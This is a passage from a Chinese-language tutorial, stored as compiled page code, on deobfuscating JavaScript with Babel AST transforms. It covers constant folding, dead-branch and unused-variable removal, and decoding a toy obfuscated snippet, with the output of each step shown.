\u65b9\u6cd5\u5c06\u8282\u70b9\u66ff\u6362\u6210\u8ba1\u7b97\u7ed3\u679c\u751f\u6210\u7684\u65b0\u8282\u70b9\uff0c\u66ff\u6362\u65b9\u6cd5\u6709\u4e00\u4e0b\u51e0\u79cd\uff1a"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceWith"}),"\uff1a\u7528\u4e00\u4e2a\u8282\u70b9\u66ff\u6362\u53e6\u4e00\u4e2a\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceWithMultiple"}),"\uff1a\u7528\u591a\u4e2a\u8282\u70b9\u66ff\u6362\u53e6\u4e00\u4e2a\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceWithSourceString"}),"\uff1a\u5c06\u4f20\u5165\u7684\u6e90\u7801\u5b57\u7b26\u4e32\u89e3\u6790\u6210\u5bf9\u5e94 Node \u540e\u518d\u66ff\u6362\uff0c\u6027\u80fd\u8f83\u5dee\uff0c\u4e0d\u5efa\u8bae\u4f7f\u7528\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceInline"}),"\uff1a\u7528\u4e00\u4e2a\u6216\u591a\u4e2a\u8282\u70b9\u66ff\u6362\u53e6\u4e00\u4e2a\u8282\u70b9\uff0c\u76f8\u5f53\u4e8e\u540c\u65f6\u6709\u4e86\u524d\u4e24\u4e2a\u51fd\u6570\u7684\u529f\u80fd\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"\u5bf9\u5e94\u7684 AST \u5904\u7406\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\n\n\n\n\n\nconst code = `\nconst a = !![]+!![]+!![];\nconst b = Math.floor(12.34 * 2.12)\nconst c = 10 >> 3 << 1\nconst d = String(21.3 + 14 * 1.32)\nconst e = parseInt("1.893" + "45.9088")\nconst f = parseFloat("23.2334" + "21.89112")\nconst g = 20 < 18 ? \'\u672a\u6210\u5e74\' : \'\u6210\u5e74\'\n`;\n\n\n\nconst visitor = {\n "BinaryExpression|CallExpression|ConditionalExpression"(path){\n const {confident, value} = path.evaluate();\n if (confident){\n let node = types.valueToNode(value);\n if (node.type === \'StringLiteral\'){\n node.extra = {\n raw: `"${value}"`,\n rawValue: `${value}`,\n }\n }\n // console.log(node);\n path.replaceInline(node)\n }\n },\n}\nconst ast = parser.parse(code, {sourceType: "module"})\ntraverse(ast, visitor)\nconst result = generate(ast)\nconsole.log(result.code)\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6700\u7ec8\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const a = 3;\nconst b = 26;\nconst c = 2;\nconst d = "39.78";\nconst e = 1;\nconst f = 23.233421;\nconst g = "\u6210\u5e74";\n'})}),"\n",(0,t.jsx)(e.h3,{id:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf",children:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf"}),"\n",(0,t.jsx)(e.p,{children:"\u6709\u65f6\u5019\u4ee3\u7801\u91cc\u4f1a\u6709\u4e00\u4e9b\u5e76\u6ca1\u6709\u4f7f\u7528\u5230\u7684\u591a\u4f59\u53d8\u91cf\uff0c\u5220\u9664\u8fd9\u4e9b\u591a\u4f59\u53d8\u91cf\u6709\u52a9\u4e8e\u66f4\u52a0\u9ad8\u6548\u7684\u5206\u6790\u4ee3\u7801\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const a = 1;\n\nconst b = a * 2;\n\nconst c = 2;\n\nconst d = b + 1;\n\nconst e = 3;\n\nconsole.log(d)\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5220\u9664\u591a\u4f59\u53d8\u91cf\uff0c\u9996\u5148\u8981\u4e86\u89e3 ",(0,t.jsx)(e.code,{children:"NodePath"})," \u4e2d\u7684 ",(0,t.jsx)(e.code,{children:"scope"}),"\uff0c",(0,t.jsx)(e.code,{children:"scope"})," \u7684\u4f5c\u7528\u4e3b\u8981\u662f\u67e5\u627e\u6807\u8bc6\u7b26\u7684\u4f5c\u7528\u57df\u3001\u83b7\u53d6\u5e76\u4fee\u6539\u6807\u8bc6\u7b26\u7684\u6240\u6709\u5f15\u7528\u7b49\uff0c\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf\u4e3b\u8981\u7528\u5230\u4e86 ",(0,t.jsx)(e.code,{children:"scope.getBinding()"})," \u65b9\u6cd5\uff0c\u4f20\u5165\u7684\u503c\u662f\u5f53\u524d\u8282\u70b9\u80fd\u591f\u5f15\u7528\u5230\u7684\u6807\u8bc6\u7b26\u540d\u79f0\uff0c\u8fd4\u56de\u7684\u5173\u952e\u5c5e\u6027\u6709\u4ee5\u4e0b\u51e0\u4e2a\uff1a"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"identifier"}),"\uff1a\u6807\u8bc6\u7b26\u7684 Node \u5bf9\u8c61\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"path"}),"\uff1a\u6807\u8bc6\u7b26\u7684 NodePath \u5bf9\u8c61\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"constant"}),"\uff1a\u6807\u8bc6\u7b26\u662f\u5426\u4e3a\u5e38\u91cf\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"referenced"}),"\uff1a\u6807\u8bc6\u7b26\u662f\u5426\u88ab\u5f15\u7528\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"references"}),"\uff1a\u6807\u8bc6\u7b26\u88ab\u5f15\u7528\u7684\u6b21\u6570\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"constantViolations"}),"\uff1a\u5982\u679c\u6807\u8bc6\u7b26\u88ab\u4fee\u6539\uff0c\u5219\u4f1a\u5b58\u653e\u6240\u6709\u4fee\u6539\u8be5\u6807\u8bc6\u7b26\u8282\u70b9\u7684 Path \u5bf9\u8c61\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"referencePaths"}),"\uff1a\u5982\u679c\u6807\u8bc6\u7b26\u88ab\u5f15\u7528\uff0c\u5219\u4f1a\u5b58\u653e\u6240\u6709\u5f15\u7528\u8be5\u6807\u8bc6\u7b26\u8282\u70b9\u7684 Path \u5bf9\u8c61\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"constantViolations"}),"\u3001",(0,t.jsx)(e.code,{children:"referenced"}),"\u3001",(0,t.jsx)(e.code,{children:"references"}),"\u3001",(0,t.jsx)(e.code,{children:"referencePaths"})," \u591a\u4e2a\u53c2\u6570\u6765\u5224\u65ad\u53d8\u91cf\u662f\u5426\u53ef\u4ee5\u88ab\u5220\u9664\uff0cAST \u5904\u7406\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\n\n\nconst code = `\n\nconst a = 1;\n\nconst b = a * 2;\n\nconst c = 2;\n\nconst d = b + 1;\n\nconst e = 3;\n\nconsole.log(d)\n\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n VariableDeclarator(path){\n\n const binding = path.scope.getBinding(path.node.id.name);\n\n\n\n // \u5982\u6807\u8bc6\u7b26\u88ab\u4fee\u6539\u8fc7\uff0c\u5219\u4e0d\u80fd\u8fdb\u884c\u5220\u9664\u52a8\u4f5c\u3002\n\n if (!binding || binding.constantViolations.length > 0) {\n\n return;\n\n }\n\n\n\n // \u672a\u88ab\u5f15\u7528\n\n if (!binding.referenced) {\n\n path.remove();\n\n }\n\n\n\n // \u88ab\u5f15\u7528\u6b21\u6570\u4e3a0\n\n // if (binding.references === 0) {\n\n // path.remove();\n\n // }\n\n\n\n // \u957f\u5ea6\u4e3a0\uff0c\u53d8\u91cf\u6ca1\u6709\u88ab\u5f15\u7528\u8fc7\n\n // if (binding.referencePaths.length === 0) {\n\n // path.remove();\n\n // }\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u5904\u7406\u540e\u7684\u4ee3\u7801\uff08\u672a\u4f7f\u7528\u7684 b\u3001c\u3001e \u53d8\u91cf\u5df2\u88ab\u5220\u9664\uff09\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const a = 1;\n\nconst b = a * 2;\n\nconst d = b + 1;\n\nconsole.log(d);\n"})}),"\n",(0,t.jsx)(e.h3,{id:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801",children:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801"}),"\n",(0,t.jsx)(e.p,{children:"\u6709\u65f6\u5019\u4e3a\u4e86\u589e\u52a0\u9006\u5411\u96be\u5ea6\uff0c\u4f1a\u6709\u5f88\u591a\u5d4c\u5957\u7684 if-else \u8bed\u53e5\uff0c\u5927\u91cf\u5224\u65ad\u4e3a\u5047\u7684\u5197\u4f59\u903b\u8f91\u4ee3\u7801\uff0c\u540c\u6837\u53ef\u4ee5\u5229\u7528 AST \u5c06\u5176\u5220\u9664\u6389\uff0c\u53ea\u7559\u4e0b\u5224\u65ad\u4e3a\u771f\u7684\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const example = function () {\n\n let a;\n\n if (false) {\n\n a = 1;\n\n } else {\n\n if (1) {\n\n a = 2;\n\n }\n\n else {\n\n a = 3;\n\n }\n\n }\n\n return a;\n\n};\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u89c2\u5bdf AST\uff0c\u5224\u65ad\u6761\u4ef6\u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"test"})," \u8282\u70b9\uff0cif \u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"consequent"})," \u8282\u70b9\uff0celse \u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"alternate"})," \u8282\u70b9\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647067.png-.png",alt:"16"})}),"\n",(0,t.jsx)(e.p,{children:"AST \u5904\u7406\u601d\u8def\u4ee5\u53ca\u4ee3\u7801\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u7b5b\u9009\u51fa ",(0,t.jsx)(e.code,{children:"BooleanLiteral"})," \u548c ",(0,t.jsx)(e.code,{children:"NumericLiteral"})," \u8282\u70b9\uff0c\u53d6\u5176\u5bf9\u5e94\u7684\u503c\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.node.test.value"}),"\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5224\u65ad ",(0,t.jsx)(e.code,{children:"value"})," \u503c\u4e3a\u771f\uff0c\u5219\u5c06\u8282\u70b9\u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"consequent"})," \u8282\u70b9\u4e0b\u7684\u5185\u5bb9\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.node.consequent.body"}),"\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5224\u65ad ",(0,t.jsx)(e.code,{children:"value"})," \u503c\u4e3a\u5047\uff0c\u5219\u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"alternate"})," \u8282\u70b9\u4e0b\u7684\u5185\u5bb9\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.node.alternate.body"}),"\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u6709\u7684 if \u8bed\u53e5\u53ef\u80fd\u6ca1\u6709\u5199 else\uff0c\u4e5f\u5c31\u6ca1\u6709 ",(0,t.jsx)(e.code,{children:"alternate"}),"\uff0c\u6240\u4ee5\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5224\u65ad ",(0,t.jsx)(e.code,{children:"value"})," \u503c\u4e3a\u5047\uff0c\u5219\u76f4\u63a5\u79fb\u9664\u8be5\u8282\u70b9\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.remove()"})]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\nconst types = require(\'@babel/types\');\n\n\n\nconst code = `\n\nconst example = function () {\n\n let a;\n\n if (false) {\n\n a = 1;\n\n } else {\n\n if (1) {\n\n a = 2;\n\n }\n\n else {\n\n a = 3;\n\n }\n\n }\n\n return a;\n\n};\n\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n enter(path) {\n\n if (types.isBooleanLiteral(path.node.test) || types.isNumericLiteral(path.node.test)) {\n\n if (path.node.test.value) {\n\n path.replaceInline(path.node.consequent.body);\n\n } else {\n\n if (path.node.alternate) {\n\n path.replaceInline(path.node.alternate.body);\n\n } else {\n\n path.remove()\n\n }\n\n }\n\n }\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u5904\u7406\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const example = function () {\n\n let a;\n\n a = 2;\n\n return a;\n\n};\n"})}),"\n",(0,t.jsx)(e.h3,{id:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f",children:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u6709\u7684\u4ee3\u7801\u4e2d\uff0c\u539f\u672c\u7684\u4e24\u9879\u5f0f\uff0c\u901a\u8fc7\u51fd\u6570\u8ba1\u7b97\uff0c\u88ab\u5c42\u5c42\u5957\u5a03\u3002\u5c31\u50cf\u4e0b\u9762\u8fd9\u6837"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647068.png-.png",alt:"img"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e00\u4e2a\u7b80\u5355\u7684\u4ee3\u7801"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function double_b64_decode(sss) {\n return atob(atob(sss));\n}\n\nvar Arr = ["Ykc5bg=="];\n\nfunction _wYQm(j, k) {\n return j - k;\n}\n\nfunction _sTFb(j, k) {\n return j - k;\n}\n\nfunction _rSeS(j, k) {\n return j + k;\n}\n\nfunction _EXMS(j, k) {\n return j <= k;\n}\n\nfunction \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e) {\n return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : \\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e, (846611 ^ 391233) - (844466 ^ 389603))), \\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e, (372786 ^ 381554) - (538795 ^ 547477))));\n}\n\n\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069 ^ 947940) - (417221 ^ 282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420 ^ 179515) - (347329 ^ 101420)));\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u9996\u5148\u6211\u4eec\u9700\u8981\u5bf9",(0,t.jsx)(e.code,{children:"\\u0065"}),"\u8f6c\u7801\uff0c\u7136\u800c\u5927\u90e8\u5206\u7f16\u8bd1\u5668\u81ea\u52a8\u5e2e\u4f60\u5904\u7406\u8fd9\u4e2a",(0,t.jsx)(e.code,{children:"unicode"}),"\u6240\u4ee5\uff0c\u4f60\u53ea\u9700\u8981\u62ff\u53bb\u8dd1\u4e00\u904d\uff0c\u4e0d\u9700\u8981\u505a\u4efb\u4f55\u64cd\u4f5c\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u5f97\u5230\u4ee5\u4e0b\u4ee3\u7801"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function double_b64_decode(sss) {\n return atob(atob(sss));\n}\nvar Arr = ["Ykc5bg=="];\nfunction _wYQm(j, k) {\n return j - k;\n}\nfunction _sTFb(j, k) {\n return j - k;\n}\nfunction _rSeS(j, k) {\n return j + k;\n}\nfunction _EXMS(j, k) {\n return j <= k;\n}\nfunction digui(n) {\n return _EXMS(n, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : _rSeS(digui(_sTFb(n, (846611 ^ 391233) - (844466 ^ 389603))), digui(_wYQm(n, (372786 ^ 381554) - (538795 ^ 547477))));\n}\nconsole[double_b64_decode(Arr[(812069 ^ 947940) - (417221 ^ 282372)])](digui((425420 ^ 179515) - (347329 ^ 101420)));\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5904\u7406\u5e38\u6570\u4e8c\u9879\u8ba1\u7b97\uff0c\u5728\u6811\u72b6\u56fe\u4e2d\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u7c7b\u88ab\u5206\u4e3a",(0,t.jsx)(e.code,{children:"BinaryExpression"}),"\u7c7b\u578b"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647069.png-.png",alt:"image-20250117102349713"})}),"\n",(0,t.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u8ba1\u7b97\u5373\u53ef"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\nconst ast = parser.parse(code, )\nconst visitor = {\n\n BinaryExpression(path) {\n const {confident, value} = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n\n}\ntraverse(ast, visitor);\nconst result = generate(ast);\nconsole.log(result.code);\n// output: \n// function double_b64_decode(sss) {\n// return atob(atob(sss));\n// }\n// var Arr = ["Ykc5bg=="];\n// function _wYQm(j, k) {\n// return j - k;\n// }\n// function _sTFb(j, k) {\n// return j - k;\n// }\n// function _rSeS(j, k) {\n// return j + k;\n// }\n// function _EXMS(j, k) {\n// return j <= k;\n// }\n// function digui(n) {\n// return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));\n// }\n// console[double_b64_decode(Arr[0])](digui(10));\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\u6709\u4e2a",(0,t.jsx)(e.code,{children:"double_b64_decode"})," \u51fd\u6570\u5bf9",(0,t.jsx)(e.code,{children:"Arr[0]"}),"\u8fdb\u884c\u4e86\u5904\u7406\uff0c\u90a3\u4e48\u6211\u4eec\u9700\u8981\u5bf9\u8fd9\u4e2a",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u66ff\u6362\u6210",(0,t.jsx)(e.code,{children:"double_b64_decode(Arr[0])"}),"\u8ba1\u7b97\u51fa\u7684\u5b57\u7b26\u4e32"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647070.png-.png",alt:"image-20250117103330075"})}),"\n",(0,t.jsxs)(e.p,{children:["\u7136\u800c\u8fd9\u91cc\u6709\u96be\u70b9\u5c31\u662f\uff0c\u8fdb\u5165",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u65f6\uff0c",(0,t.jsx)(e.code,{children:"BinaryExpression"}),"\u7c7b\u578b\u8fd8\u6ca1\u6709\u8ba1\u7b97."]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647071.png-.png",alt:"image-20250117104929238"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e3a\u6b64\u6211\u4eec\u6709\u4e24\u79cd\u65b9\u6cd5\uff0c"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u7b2c\u4e00\u79cd\uff1a\u4f7f\u7528enter\u5728\u6240\u6709\u8282\u70b9\u8fdb\u5165\u524d\uff0c\u5bf9BinaryExpression\u8fdb\u884c\u8ba1\u7b97"}),"\n",(0,t.jsxs)(e.li,{children:["\u7b2c\u4e8c\u79cd\uff0c\u5206\u6279\u6b21\u8fdb\u884c\u8ba1\u7b97\uff08\u5bf9\u751f\u6210\u7684\u4ee3\u7801\u591a\u5199\u51e0\u6b21",(0,t.jsx)(e.code,{children:"traverse(ast, visitor);"}),"\uff09"]}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u6211\u4eec\u91c7\u7528\u7b2c\u7b2c\u4e8c\u79cd\uff0c\u5206\u9636\u6bb5\u8fd0\u884c\u3002\u5728\u7b2c\u4e00\u9636\u6bb5\u7684\u4ee3\u7801\u4e0b\u9762\u65b0\u589e\u5904\u7406",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u7684\u903b\u8f91"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7ed3\u679c"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function _wYQm(j, k) {\n return j - k;\n}\nfunction _sTFb(j, k) {\n return j - k;\n}\nfunction _rSeS(j, k) {\n return j + k;\n}\nfunction _EXMS(j, k) {\n return j <= k;\n}\nfunction digui(n) {\n return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));\n}\nconsole["log"](digui(10));\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7b2c\u4e09\u9636\u6bb5\uff0c\u5904\u7406\u4e00\u4e0b\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = 